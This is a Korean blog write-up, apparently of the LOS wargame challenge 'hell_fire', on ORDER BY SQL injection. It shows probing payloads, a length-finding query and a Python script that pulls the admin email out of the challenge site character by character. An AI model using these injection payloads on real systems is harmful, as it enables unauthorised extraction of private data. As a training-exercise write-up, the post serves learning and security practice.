본문 바로가기
워게임/LOS

hell fire(order by)

by meanjung 2021. 10. 5.

order로 정렬한다.

id email score을 출력하는데 id가 admin이면 email은 ***로 출력된다.

쨌든 admin의 email을 알아내야 하는 것 같은데...

 

order by 뒤에 or이나 and 넣으면 무슨 일이 일어나는지 모르겠다.


sql 특징 파악하기

?order=id='admin'#

?order=id='rubiya'#

 

order by 컬럼명 = "~~" => 일치하는게 밑에 출력되는 듯....

 

 

order by length(email)=4 라고 하면

다른 값들은 따로 정렬이 안되고 email 길이가 4인 것만 맨 밑으로 출력된다.

 

order by length(email)=4, id라고 하면

email 길이가 4인 것만 맨 밑으로 출력되고(고정) 나머지들은 id로 정렬된다. 


email 길이 알아내기

이를 이용해서 admin의 email 길이를 구하는 방법은

order by length(email)=??, id

 

- length(email)이 admin의 것과 같다면 admin이 맨 밑에서 출력

- length(email)이 rubiya의 것과 같다면 rubiya가 맨 밑에서 출력

- legnth(email)이 그 누구와도 같지 않다면 id로만 정렬. rubiya가 맨 밑에서 출력

 

 

코드는.. 귀찮기 때문에 그냥 계속 해봤다...

 

?order=length(email)=28,id%23

 

길이는 28


email 알아내기

import requests
import threading
cookies={"PHPSESSID":""}
roo = "_rubiya805@gmail.cm"
ad_email=""
for i in range(1, 29):
    for c in range(33, 128):
        url = f"https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=substr(email,{i},1)=char({c}),id%23"
        res = requests.get(url, cookies=cookies)
        if "100</td></tr><tr><td>admin" in res.text:
            ad_email+=chr(c)
            break
        if i<=18 and c==127:
            ad_email+=roo[i]
            break
print(ad_email.lower())

output> admin_secure_email@emai1.com

'워게임 > LOS' 카테고리의 다른 글

[**] green_dragon  (0) 2021.10.06
evil_wizard  (0) 2021.10.06
dark_eyes(error based sqli 심화)  (0) 2021.10.05
iron_golem(참 거짓을 판별할 수 없는 blind sqli)  (0) 2021.10.05
dragon  (0) 2021.10.04

댓글